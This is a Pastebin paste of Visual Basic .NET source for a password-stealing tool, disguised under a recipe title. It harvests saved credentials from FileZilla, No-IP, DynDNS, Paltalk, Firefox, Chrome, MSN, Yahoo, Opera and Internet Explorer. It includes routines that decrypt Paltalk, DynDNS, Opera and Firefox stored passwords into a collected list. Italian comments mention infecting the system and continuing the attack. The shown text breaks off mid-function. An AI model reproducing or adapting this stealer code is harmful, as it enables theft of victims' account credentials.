Guest User

cotoletta alla milanese

a guest
Sep 10th, 2016
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 71.60 KB | None | 0 0
  1. //Paul Koolova Ogni Diritto Riservato
  2. Imports System.Runtime.InteropServices
  3. Imports System.IO
  4. Imports System.Security.Cryptography
  5. Imports System.Text
  6. Imports System.Data
  7. Imports System.Collections
  8. Imports System.Collections.Generic
  9. Public Class Cotoletta alla milanese
  10. Public Shared Function GetPasswords() As String
  11. OL = ""
  12. P1()
  13. P2()
  14. dyn()
  15. paltalk()
  16. GetFire()
  17. Chrome.Gchrome()
  18. Msn()
  19. Yahoo()
  20. GetOpera()
  21. Dim r = New CIE7Passwords
  22. r.Refresh()
  23. Return OL
  24. End Function
  25. End Class
  26. Module p
  27. Public Sub Yahoo()
  28. Try
  29. ' OL += vbNewLine & "###Yahoo" & vbNewLine
  30. For Each k As String In Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Yahoo\Profiles").GetSubKeyNames
  31. OL += "|URL| http://Yahoo.com" & vbNewLine & "|USR| " & k & vbNewLine & "|PWD| " & vbNewLine
  32. Next
  33. Catch ex As Exception
  34. End Try
  35. End Sub
  36. Public OL As String
  37. #Region "MSN Password"
  38. <DllImport("advapi32.dll", CharSet:=CharSet.Unicode, SetLastError:=True)> _
  39. Public Function CredEnumerateW(ByVal filter As String, ByVal flag As UInt32, <Out()> ByRef count As UInt32, <Out()> ByRef pCredentials As IntPtr) As Boolean
  40. End Function
  41. <StructLayout(LayoutKind.Sequential)> _
  42. Friend Structure CREDENTIAL
  43. Public Flags As Integer
  44. Public Type As Integer
  45. <MarshalAs(UnmanagedType.LPWStr)> _
  46. Public TargetName As String
  47. <MarshalAs(UnmanagedType.LPWStr)> _
  48. Public Comment As String
  49. Public LastWritten As Long
  50. Public CredentialBlobSize As Integer
  51. Public CredentialBlob As IntPtr
  52. Public Persist As Integer
  53. Public AttributeCount As Integer
  54. Public Attributes As IntPtr
  55. <MarshalAs(UnmanagedType.LPWStr)> _
  56. Public TargetAlias As String
  57. <MarshalAs(UnmanagedType.LPWStr)> _
  58. Public UserName As String
  59. End Structure
  60. ' sopra migro nel sistema infettando la trentadue e inizio a spostarmi sotto nelle password
  61. Sub Msn()
  62. ' OL += vbNewLine & "###MSN" & vbNewLine
  63. Try
  64. Dim num As UInt32
  65. Dim zero As IntPtr = IntPtr.Zero
  66. If CredEnumerateW(("WindowsLive:name=" & "*"), 0, num, zero) Then
  67. Dim i As Integer
  68. For i = 0 To num - 1
  69. Try
  70. Dim s As String
  71. OL += "|URL| http://hotmail.com" & vbNewLine
  72. Dim credential As CREDENTIAL = DirectCast(Marshal.PtrToStructure(Marshal.ReadIntPtr(zero, (IntPtr.Size * i)), GetType(CREDENTIAL)), CREDENTIAL)
  73. OL += "|USR| " & credential.UserName & vbNewLine
  74. Try
  75. OL += "|PWD| " & Marshal.PtrToStringBSTR(credential.CredentialBlob) & vbNewLine
  76. Catch ex As Exception
  77. OL += "|PWD| " & vbNewLine
  78. End Try
  79. Catch ex As Exception
  80. End Try
  81. Next i
  82. End If
  83. Catch ex As Exception
  84. End Try
  85. End Sub
  86. #End Region
  87. Sub P1() '===FileZilla
  88. Try
  89. ' OL += vbNewLine & "###FileZilla" & vbNewLine
  90. Dim O As String() = Split(IO.File.ReadAllText(Environ("APPDATA") & "\FileZilla\recentservers.xml"), "<Server>")
  91. For Each u As String In O
  92. Dim UU = Split(u, vbNewLine)
  93. For Each I As String In UU
  94. If I.Contains("<Host>") Then
  95. OL += "|URL| " & Split(Split(I, "<Host>")(1), "</Host>")(0) & vbNewLine
  96. End If
  97. ' If I.Contains("<Port>") Then
  98. 'OL += "PRT: " & Split(Split(I, "<Port>")(1), "</Port>")(0) & vbNewLine
  99. 'End If
  100. If I.Contains("<User>") Then
  101. OL += "|USR| " & Split(Split(I, "<User>")(1), "</User>")(0) & vbNewLine
  102. End If
  103. If I.Contains("<Pass>") Then
  104. OL += "|PWD| " & Split(Split(I, "<Pass>")(1), "</Pass>")(0) & vbNewLine
  105. End If
  106. Next
  107. Next
  108. Catch ex As Exception
  109. End Try
  110. End Sub
  111. Sub P2() ' NO IP - PROXY DNS se proxato bisogna dare un eccezione in modo di rientrare nella return continuando ad attaccare
  112. Try
  113. ' OL += vbNewLine & "###NO-IP" & vbNewLine
  114. Dim s As String = "HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC"
  115. Dim U As String = Microsoft.Win32.Registry.GetValue(s, "USERname", "")
  116. Dim P As String = Microsoft.Win32.Registry.GetValue(s, "Password", "")
  117. If U = "" Then Exit Sub
  118. OL += "|URL| http://no-ip.com" & vbNewLine & "|USR| " & U & vbNewLine & "|PWD| " & P & vbNewLine
  119. Catch c As Exception
  120. End Try
  121. End Sub
  122. Private Declare Function GetVolumeInformation Lib "kernel32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, ByRef lpVolumeSerialNumber As Integer, ByRef lpMaximumComponentLength As Integer, ByRef lpFileSystemFlags As Integer, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Integer) As Integer
  123. Function HWD() As String
  124. Try
  125. Dim sn As Integer
  126. GetVolumeInformation(Environ("SystemDrive") & "\", Nothing, Nothing, sn, 0, 0, Nothing, Nothing)
  127. Return (Hex(sn))
  128. Catch ex As Exception
  129. Return "ERRORE formato illegibile"
  130. End Try
  131. End Function
  132. Sub paltalk()
  133. Try
  134. ' OL += vbNewLine & "###Paltalk" & vbNewLine
  135. Dim ser() As Char = HWD.ToCharArray
  136. Dim reg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
  137. Dim out As String = ""
  138. reg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Paltalk")
  139. Dim users As String() = reg.GetSubKeyNames()
  140. reg.Close()
  141. For Each s As String In users
  142. Dim t, o, i, x As Integer
  143. Dim pass As String = Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\Software\Paltalk\" & s, "pwd", "")
  144. Dim chr1 As Char() = pass.ToCharArray
  145. Dim passarr(pass.Length / 4) As String
  146. While t <= UBound(chr1) - 4
  147. If t < UBound(chr1) - 4 Then
  148. passarr(o) = chr1(t) & chr1(t + 1) & chr1(t + 2)
  149. End If
  150. t += 4
  151. o += 1
  152. End While
  153. Dim key As String = ""
  154. For Each c As Char In s
  155. key += c
  156. If i <= UBound(ser) Then
  157. key += ser(i)
  158. End If
  159. i = i + 1
  160. Next
  161. key = key & key & key
  162. Dim chr_arr As Char() = key.ToCharArray
  163. Dim blainpass As String = ""
  164. blainpass += Chr(passarr(0) - 122 - Asc(key.Substring(key.Length - 1, 1)))
  165. For x = 1 To UBound(passarr)
  166. Dim tempchr As Char
  167. If passarr(x) Is Nothing Then
  168. Else
  169. tempchr = Chr(passarr(x) - x - Asc(chr_arr(x - 1)) - 122)
  170. blainpass += tempchr
  171. End If
  172. Next x
  173. OL += "|URL| http://Paltalk.com" & vbNewLine & "|USR| " & s & vbNewLine & "|PWD| " & blainpass & vbNewLine
  174. Next
  175. Catch ex As Exception
  176. End Try
  177. End Sub
  178. Sub dyn()
  179. 'DynDNS.com
  180. Try
  181. ' OL += vbNewLine & "###DynDNS" & vbNewLine
  182. Dim p = Replace(Environ("ALLUSERSPROFILE") & "\", "\\", "\")
  183. Dim pp = p & "DynDNS\Updater\config.dyndns"
  184. Dim usr As String
  185. Dim ps As String
  186. Dim pas As String
  187. Dim ii As Integer
  188. If IO.File.Exists(pp) = True Then
  189. Dim A As Array = IO.File.ReadAllLines(pp)
  190. For Each s As String In A
  191. If InStr(s.ToLower, "username=") > 0 Then
  192. usr = Split(s, "=")(1)
  193. End If
  194. If InStr(s.ToLower, "password=") > 0 Then
  195. ps = Split(s, "=")(1)
  196. For i = 1 To Len(ps) Step 2
  197. pas = pas & Chr(Val("&H" & Mid(ps, i, 2)))
  198. Next i
  199. For i = 1 To Len(pas)
  200. Mid(pas, i, 1) = Chr((Asc(Mid(pas, i, 1))) Xor (Asc(Mid("t6KzXhCh", ii + 1, 1))))
  201. ii = ((ii + 1) Mod 8)
  202. Next i
  203. If usr.Length = 0 Then Exit Sub
  204. OL += "|URL| http://DynDns.com" & vbNewLine & "|USR| " & usr & vbNewLine & "|PWD| " & pas & vbNewLine
  205. Exit Sub
  206. End If
  207. Next
  208. End If
  209. Catch ex As Exception
  210. End Try
  211. End Sub
  212. #Region "Opera"
  213. Private opera_salt As Byte() = {&H83, &H7D, &HFC, &HF, &H8E, &HB3, _
  214. &HE8, &H69, &H73, &HAF, &HFF}
  215. Private key_size As Byte() = {&H0, &H0, &H0, &H8}
  216. Private path As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
  217. Public DOutput As String
  218. Public Sub GetOpera()
  219. ' OL += vbNewLine & "###Opera" & vbNewLine
  220. If File.Exists(path & "\Opera\Opera\wand.dat") Then
  221. path += "\Opera\Opera\wand.dat"
  222. Else
  223. If File.Exists(path & "\Opera\Opera\profile\wand.dat") Then
  224. path += "\Opera\Opera\profile\wand.dat"
  225. End If
  226. End If
  227. Dim Q As String = ""
  228. Try
  229. Dim wand_file As Byte() = File.ReadAllBytes(path)
  230. Dim block_size As Integer = 0
  231. For i As Integer = 0 To wand_file.Length - 5
  232. If wand_file(i) = &H0 AndAlso wand_file(i + 1) = &H0 AndAlso wand_file(i + 2) = &H0 AndAlso wand_file(i + 3) = &H8 Then
  233. block_size = CInt(wand_file(i + 15))
  234. Dim key As Byte() = New Byte(7) {}
  235. Dim encrypt_data As Byte() = New Byte(block_size - 1) {}
  236. Array.Copy(wand_file, i + 4, key, 0, key.Length)
  237. Array.Copy(wand_file, i + 16, encrypt_data, 0, encrypt_data.Length)
  238. DOutput += decrypt2_method(key, encrypt_data) & vbNewLine
  239. i += 11 + block_size
  240. End If
  241. Next
  242. Dim A As String() = Split(DOutput, vbNewLine)
  243. For i As Integer = 0 To A.Length - 1
  244. Dim w As String = FL(A(i))
  245. Dim url As String = ""
  246. Dim U As String = ""
  247. Dim P As String = ""
  248. If w.ToLower.StartsWith("http://") Or w.ToLower.StartsWith("https://") Then
  249. url = w
  250. If i + 2 < A.Length Then
  251. For ii As Integer = i + 1 To i + 2
  252. Dim xx As String = A(ii)
  253. If xx.ToLower.StartsWith("http://") Or xx.ToLower.StartsWith("https://") Then
  254. Exit For
  255. End If
  256. If ii = i + 2 Then
  257. U = FL(xx)
  258. End If
  259. Next
  260. End If
  261. If i + 4 < A.Length Then
  262. For ii As Integer = i + 1 To i + 4
  263. Dim xx As String = A(ii)
  264. If xx.ToLower.StartsWith("http://") Or xx.ToLower.StartsWith("https://") Then
  265. Exit For
  266. End If
  267. If ii = i + 4 Then
  268. P = FL(xx)
  269. End If
  270. Next
  271. End If
  272. OL += "|URL| " & url & vbNewLine & "|USR| " & U & vbNewLine & "|PWD| " & P & vbNewLine
  273. End If
  274. Next
  275. Catch ex As Exception
  276. End Try
  277. End Sub
  278. Function FL(ByVal s As String) As String
  279. Dim f As String = "abcdefghijklmnopqrstuvwxyz1234567890_-.~!@#$%^&*()[{]}\|';:,<>/?+="
  280. Dim w As String = ""
  281. For Each xx As String In s
  282. If f.Contains(xx.ToLower) Then
  283. w &= xx
  284. End If
  285. Next
  286. Return w
  287. End Function
  288. Public Function decrypt2_method(ByVal key As Byte(), ByVal encrypt_data As Byte())
  289. Try
  290. Dim md5Crypt As New MD5CryptoServiceProvider()
  291. md5Crypt.Initialize()
  292. Dim tmpBuffer As Byte() = New Byte(opera_salt.Length + (key.Length - 1)) {}
  293. Array.Copy(opera_salt, tmpBuffer, opera_salt.Length)
  294. Array.Copy(key, 0, tmpBuffer, opera_salt.Length, key.Length)
  295. Dim hash1 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
  296. tmpBuffer = New Byte(hash1.Length + opera_salt.Length + (key.Length - 1)) {}
  297. Array.Copy(hash1, tmpBuffer, hash1.Length)
  298. Array.Copy(opera_salt, 0, tmpBuffer, hash1.Length, opera_salt.Length)
  299. Array.Copy(key, 0, tmpBuffer, hash1.Length + opera_salt.Length, key.Length)
  300. Dim hash2 As Byte() = md5Crypt.ComputeHash(tmpBuffer)
  301. Dim tripleDES As New TripleDESCryptoServiceProvider()
  302. tripleDES.Mode = CipherMode.CBC
  303. tripleDES.Padding = PaddingMode.None
  304. Dim tripleKey As Byte() = New Byte(23) {}
  305. Dim IV As Byte() = New Byte(7) {}
  306. Array.Copy(hash1, tripleKey, hash1.Length)
  307. Array.Copy(hash2, 0, tripleKey, hash1.Length, 8)
  308. Array.Copy(hash2, 8, IV, 0, 8)
  309. tripleDES.Key = tripleKey
  310. tripleDES.IV = IV
  311. Dim decryter As ICryptoTransform = tripleDES.CreateDecryptor()
  312. Dim output As Byte() = decryter.TransformFinalBlock(encrypt_data, 0, encrypt_data.Length)
  313. Dim enc As String = Encoding.Unicode.GetString(output)
  314. Return enc
  315. Catch e As Exception
  316. Return ""
  317. End Try
  318. End Function
  319. #End Region
  320. End Module
  321. #Region "FireFox"
  322. Module firefox5
  323. Public Function GetFire() As String
  324. ' OL += vbNewLine & "###FireFox" & vbNewLine
  325. Try
  326. Dim FoundFile As Boolean = False
  327. Dim KeySlot As Long = 0
  328. Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") & "\Mozilla Firefox\"
  329. Dim DefaultPath As String = Environment.GetEnvironmentVariable("APPDATA") & "\Mozilla\Firefox\Profiles"
  330. Dim Dirs As String() = IO.Directory.GetDirectories(DefaultPath)
  331. For Each dir As String In Dirs
  332. If Not FoundFile Then
  333. Dim Files As String() = IO.Directory.GetFiles(dir)
  334. For Each CurrFile As String In Files
  335. If Not FoundFile Then
  336. If System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite") Then
  337. NSS_Init(dir)
  338. signon = CurrFile
  339. End If
  340. Else
  341. Exit For
  342. End If
  343. Next
  344. Else
  345. Exit For
  346. End If
  347. Next
  348. Dim dataSource As String = signon
  349. Dim tSec As New TSECItem()
  350. Dim tSecDec As New TSECItem()
  351. Dim tSecDec2 As New TSECItem()
  352. Dim bvRet As Byte()
  353. Dim db As New SQLiteBase5(dataSource)
  354. Dim table As System.Data.DataTable = db.ExecuteQuery("SELECT * FROM moz_logins;")
  355. Dim table2 As System.Data.DataTable = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;")
  356. For Each row As System.Data.DataRow In table2.Rows
  357. Next
  358. KeySlot = PK11_GetInternalKeySlot()
  359. PK11_Authenticate(KeySlot, True, 0)
  360. For Each Zeile As System.Data.DataRow In table.Rows
  361. Dim formurl As String = System.Convert.ToString(Zeile("formSubmitURL").ToString())
  362. Dim url As String = formurl
  363. Dim usr As String = ""
  364. Dim pw As String = ""
  365. Dim se As New StringBuilder(Zeile("encryptedUsername").ToString())
  366. Dim hi2 As Integer = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length)
  367. Dim item As TSECItem = DirectCast(Marshal.PtrToStructure(New IntPtr(hi2), GetType(TSECItem)), TSECItem)
  368. If PK11SDR_Decrypt(item, tSecDec, 0) = 0 Then
  369. If tSecDec.SECItemLen <> 0 Then
  370. bvRet = New Byte(tSecDec.SECItemLen - 1) {}
  371. Marshal.Copy(New IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen)
  372. usr = System.Text.Encoding.UTF8.GetString(bvRet)
  373. End If
  374. End If
  375. Dim se2 As New StringBuilder(Zeile("encryptedPassword").ToString())
  376. Dim hi22 As Integer = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length)
  377. Dim item2 As TSECItem = DirectCast(Marshal.PtrToStructure(New IntPtr(hi22), GetType(TSECItem)), TSECItem)
  378. If PK11SDR_Decrypt(item2, tSecDec2, 0) = 0 Then
  379. If tSecDec2.SECItemLen <> 0 Then
  380. bvRet = New Byte(tSecDec2.SECItemLen - 1) {}
  381. Marshal.Copy(New IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen)
  382. pw = System.Text.Encoding.UTF8.GetString(bvRet)
  383. End If
  384. End If
  385. OL += "|URL| " & url & vbNewLine & "|USR| " & usr & vbNewLine & "|PWD| " & pw & vbNewLine
  386. Next
  387. Catch ex As Exception
  388. End Try
  389. End Function
  390. Public Class SHITEMID
  391. Public Shared cb As Long
  392. Public Shared abID As Byte()
  393. End Class
  394. <StructLayout(LayoutKind.Sequential)> _
  395. Public Structure TSECItem
  396. Public SECItemType As Integer
  397. Public SECItemData As Integer
  398. Public SECItemLen As Integer
  399. End Structure
  400. <DllImport("kernel32.dll")> _
  401. Private Function LoadLibrary(ByVal dllFilePath As String) As IntPtr
  402. End Function
  403. Private NSS3 As IntPtr
  404. <DllImport("kernel32", CharSet:=CharSet.Ansi, ExactSpelling:=True, SetLastError:=True)> _
  405. Private Function GetProcAddress(ByVal hModule As IntPtr, ByVal procName As String) As IntPtr
  406. End Function
  407. <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
  408. Public Delegate Function DLLFunctionDelegate(ByVal configdir As String) As Long
  409. Public Function NSS_Init(ByVal configdir As String) As Long
  410. Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") & "\Mozilla Firefox\"
  411. LoadLibrary(MozillaPath & "mozutils.dll")
  412. LoadLibrary(MozillaPath & "mozglue.dll")
  413. LoadLibrary(MozillaPath & "mozcrt19.dll")
  414. LoadLibrary(MozillaPath & "nspr4.dll")
  415. LoadLibrary(MozillaPath & "plc4.dll")
  416. LoadLibrary(MozillaPath & "plds4.dll")
  417. LoadLibrary(MozillaPath & "ssutil3.dll")
  418. LoadLibrary(MozillaPath & "mozsqlite3.dll")
  419. LoadLibrary(MozillaPath & "nssutil3.dll")
  420. LoadLibrary(MozillaPath & "softokn3.dll")
  421. NSS3 = LoadLibrary(MozillaPath & "nss3.dll")
  422. Dim pProc As IntPtr = GetProcAddress(NSS3, "NSS_Init")
  423. Dim dll As DLLFunctionDelegate = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate)), DLLFunctionDelegate)
  424. Return dll(configdir)
  425. End Function
  426. <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
  427. Public Delegate Function DLLFunctionDelegate2() As Long
  428. Public Function PK11_GetInternalKeySlot() As Long
  429. Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_GetInternalKeySlot")
  430. Dim dll As DLLFunctionDelegate2 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate2)), DLLFunctionDelegate2)
  431. Return dll()
  432. End Function
  433. <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
  434. Public Delegate Function DLLFunctionDelegate3(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
  435. Public Function PK11_Authenticate(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
  436. Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_Authenticate")
  437. Dim dll As DLLFunctionDelegate3 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate3)), DLLFunctionDelegate3)
  438. Return dll(slot, loadCerts, wincx)
  439. End Function
  440. <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
  441. Public Delegate Function DLLFunctionDelegate4(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
  442. Public Function NSSBase64_DecodeBuffer(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
  443. Dim pProc As IntPtr = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer")
  444. Dim dll As DLLFunctionDelegate4 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate4)), DLLFunctionDelegate4)
  445. Return dll(arenaOpt, outItemOpt, inStr, inLen)
  446. End Function
  447. <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
  448. Public Delegate Function DLLFunctionDelegate5(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
  449. Public Function PK11SDR_Decrypt(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
  450. Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11SDR_Decrypt")
  451. Dim dll As DLLFunctionDelegate5 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate5)), DLLFunctionDelegate5)
  452. Return dll(data, result, cx)
  453. End Function
  454. Public signon As String
  455. Public Class SQLiteBase5
  456. <DllImport("kernel32")> _
  457. Private Shared Function HeapAlloc(ByVal heap As IntPtr, ByVal flags As UInt32, ByVal bytes As UInt32) As IntPtr
  458. End Function
  459. <DllImport("kernel32")> _
  460. Private Shared Function GetProcessHeap() As IntPtr
  461. End Function
  462. <DllImport("kernel32")> _
  463. Private Shared Function lstrlen(ByVal str As IntPtr) As Integer
  464. End Function
  465. <DllImport("mozsqlite3")> _
  466. Private Shared Function sqlite3_open(ByVal fileName As IntPtr, ByRef database As IntPtr) As Integer
  467. End Function
  468. <DllImport("mozsqlite3")> _
  469. Private Shared Function sqlite3_close(ByVal database As IntPtr) As Integer
  470. End Function
  471. <DllImport("mozsqlite3")> _
  472. Private Shared Function sqlite3_exec(ByVal database As IntPtr, ByVal query As IntPtr, ByVal callback As IntPtr, ByVal arguments As IntPtr, ByRef [error] As IntPtr) As Integer
  473. End Function
  474. <DllImport("mozsqlite3")> _
  475. Private Shared Function sqlite3_errmsg(ByVal database As IntPtr) As IntPtr
  476. End Function
  477. <DllImport("mozsqlite3")> _
  478. Private Shared Function sqlite3_prepare_v2(ByVal database As IntPtr, ByVal query As IntPtr, ByVal length As Integer, ByRef statement As IntPtr, ByRef tail As IntPtr) As Integer
  479. End Function
  480. <DllImport("mozsqlite3")> _
  481. Private Shared Function sqlite3_step(ByVal statement As IntPtr) As Integer
  482. End Function
  483. <DllImport("mozsqlite3")> _
  484. Private Shared Function sqlite3_column_count(ByVal statement As IntPtr) As Integer
  485. End Function
  486. <DllImport("mozsqlite3")> _
  487. Private Shared Function sqlite3_column_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
  488. End Function
  489. <DllImport("mozsqlite3")> _
  490. Private Shared Function sqlite3_column_type(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer
  491. End Function
  492. <DllImport("mozsqlite3")> _
  493. Private Shared Function sqlite3_column_int(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer
  494. End Function
  495. <DllImport("mozsqlite3")> _
  496. Private Shared Function sqlite3_column_double(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Double
  497. End Function
  498. <DllImport("mozsqlite3")> _
  499. Private Shared Function sqlite3_column_text(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
  500. End Function
  501. <DllImport("mozsqlite3")> _
  502. Private Shared Function sqlite3_column_blob(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
  503. End Function
  504. <DllImport("mozsqlite3")> _
  505. Private Shared Function sqlite3_column_table_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
  506. End Function
  507. <DllImport("mozsqlite3")> _
  508. Private Shared Function sqlite3_finalize(ByVal handle As IntPtr) As Integer
  509. End Function
  510. ' SQLite constants
  511. Private Const SQL_OK As Integer = 0
  512. Private Const SQL_ROW As Integer = 100
  513. Private Const SQL_DONE As Integer = 101
  514. Public Enum SQLiteDataTypes
  515. INT = 1
  516. FLOAT
  517. TEXT
  518. BLOB
  519. NULL
  520. End Enum
  521. Private database As IntPtr
  522. Public Sub New()
  523. database = IntPtr.Zero
  524. End Sub
  525. Public Sub New(ByVal baseName As [String])
  526. OpenDatabase(baseName)
  527. End Sub
  528. Public Sub OpenDatabase(ByVal baseName As [String])
  529. If sqlite3_open(StringToPointer(baseName), database) <> SQL_OK Then
  530. database = IntPtr.Zero
  531. ' Throw New Exception("Errore in apertura database " & NomeBase & "!")
  532. End If
  533. End Sub
  534. Public Sub CloseDatabase()
  535. If database <> IntPtr.Zero Then
  536. sqlite3_close(database)
  537. End If
  538. End Sub
  539. Public Function GetTables() As ArrayList
  540. Dim query As [String] = "SELECT name FROM sqlite_master " & "WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%'" & "UNION ALL " & "SELECT name FROM sqlite_temp_master " & "WHERE type IN ('table','view') " & "ORDER BY 1"
  541. Dim table As System.Data.DataTable = ExecuteQuery(query)
  542. Dim list As New ArrayList()
  543. For Each row As System.Data.DataRow In table.Rows
  544. list.Add(row.ItemArray(0).ToString())
  545. Next
  546. Return list
  547. End Function
  548. Public Sub ExecuteNonQuery(ByVal query As [String])
  549. Dim [error] As IntPtr
  550. sqlite3_exec(database, StringToPointer(query), IntPtr.Zero, IntPtr.Zero, [error])
  551. If [error] <> IntPtr.Zero Then
  552. ' Throw New Exception(("Error with executing non-query: """ & query & """!") + PointerToString(sqlite3_errmsg([error])))
  553. End If
  554. End Sub
  555. Public Function ExecuteQuery(ByVal query As [String]) As System.Data.DataTable
  556. Dim statement As IntPtr
  557. Dim excessData As IntPtr
  558. sqlite3_prepare_v2(database, StringToPointer(query), GetPointerLenght(StringToPointer(query)), statement, excessData)
  559. Dim table As New System.Data.DataTable()
  560. Dim result As Integer = ReadFirstRow(statement, table)
  561. While result = SQL_ROW
  562. result = ReadNextRow(statement, table)
  563. End While
  564. sqlite3_finalize(statement)
  565. Return table
  566. End Function
  567. Private Function ReadFirstRow(ByVal statement As IntPtr, ByRef table As System.Data.DataTable) As Integer
  568. table = New System.Data.DataTable("resultTable")
  569. Dim resultType As Integer = sqlite3_step(statement)
  570. If resultType = SQL_ROW Then
  571. Dim columnCount As Integer = sqlite3_column_count(statement)
  572. Dim columnName As [String] = ""
  573. Dim columnType As Integer = 0
  574. Dim columnValues As Object() = New Object(columnCount - 1) {}
  575. For i As Integer = 0 To columnCount - 1
  576. columnName = PointerToString(sqlite3_column_name(statement, i))
  577. columnType = sqlite3_column_type(statement, i)
  578. Select Case columnType
  579. Case CInt(SQLiteDataTypes.INT)
  580. If True Then
  581. table.Columns.Add(columnName, Type.[GetType]("System.Int32"))
  582. columnValues(i) = sqlite3_column_int(statement, i)
  583. Exit Select
  584. End If
  585. Case CInt(SQLiteDataTypes.FLOAT)
  586. If True Then
  587. table.Columns.Add(columnName, Type.[GetType]("System.Single"))
  588. columnValues(i) = sqlite3_column_double(statement, i)
  589. Exit Select
  590. End If
  591. Case CInt(SQLiteDataTypes.TEXT)
  592. If True Then
  593. table.Columns.Add(columnName, Type.[GetType]("System.String"))
  594. columnValues(i) = PointerToString(sqlite3_column_text(statement, i))
  595. Exit Select
  596. End If
  597. Case CInt(SQLiteDataTypes.BLOB)
  598. If True Then
  599. table.Columns.Add(columnName, Type.[GetType]("System.String"))
  600. columnValues(i) = PointerToString(sqlite3_column_blob(statement, i))
  601. Exit Select
  602. End If
  603. Case Else
  604. If True Then
  605. table.Columns.Add(columnName, Type.[GetType]("System.String"))
  606. columnValues(i) = ""
  607. Exit Select
  608. End If
  609. End Select
  610. Next
  611. table.Rows.Add(columnValues)
  612. End If
  613. Return sqlite3_step(statement)
  614. End Function
  615. Private Function ReadNextRow(ByVal statement As IntPtr, ByRef table As System.Data.DataTable) As Integer
  616. Dim columnCount As Integer = sqlite3_column_count(statement)
  617. Dim columnType As Integer = 0
  618. Dim columnValues As Object() = New Object(columnCount - 1) {}
  619. For i As Integer = 0 To columnCount - 1
  620. columnType = sqlite3_column_type(statement, i)
  621. Select Case columnType
  622. Case CInt(SQLiteDataTypes.INT)
  623. If True Then
  624. columnValues(i) = sqlite3_column_int(statement, i)
  625. Exit Select
  626. End If
  627. Case CInt(SQLiteDataTypes.FLOAT)
  628. If True Then
  629. columnValues(i) = sqlite3_column_double(statement, i)
  630. Exit Select
  631. End If
  632. Case CInt(SQLiteDataTypes.TEXT)
  633. If True Then
  634. columnValues(i) = PointerToString(sqlite3_column_text(statement, i))
  635. Exit Select
  636. End If
  637. Case CInt(SQLiteDataTypes.BLOB)
  638. If True Then
  639. columnValues(i) = PointerToString(sqlite3_column_blob(statement, i))
  640. Exit Select
  641. End If
  642. Case Else
  643. If True Then
  644. columnValues(i) = ""
  645. Exit Select
  646. End If
  647. End Select
  648. Next
  649. table.Rows.Add(columnValues)
  650. Return sqlite3_step(statement)
  651. End Function
  652. Private Function StringToPointer(ByVal str As [String]) As IntPtr
  653. If str Is Nothing Then
  654. Return IntPtr.Zero
  655. Else
  656. Dim encoding__1 As Encoding = Encoding.UTF8
  657. Dim bytes As [Byte]() = encoding__1.GetBytes(str)
  658. Dim length As UInteger = bytes.Length + 1
  659. Dim pointer As IntPtr = HeapAlloc(GetProcessHeap(), 0, CType(length, UInt32))
  660. Marshal.Copy(bytes, 0, pointer, bytes.Length)
  661. Marshal.WriteByte(pointer, bytes.Length, 0)
  662. Return pointer
  663. End If
  664. End Function
  665. Private Function PointerToString(ByVal ptr As IntPtr) As [String]
  666. If ptr = IntPtr.Zero Then
  667. Return Nothing
  668. End If
  669. Dim encoding__1 As Encoding = Encoding.UTF8
  670. Dim length As Integer = GetPointerLenght(ptr)
  671. Dim bytes As [Byte]() = New [Byte](length - 1) {}
  672. Marshal.Copy(ptr, bytes, 0, length)
  673. Return encoding__1.GetString(bytes, 0, length)
  674. End Function
  675. Private Function GetPointerLenght(ByVal ptr As IntPtr) As Integer
  676. If ptr = IntPtr.Zero Then
  677. Return 0
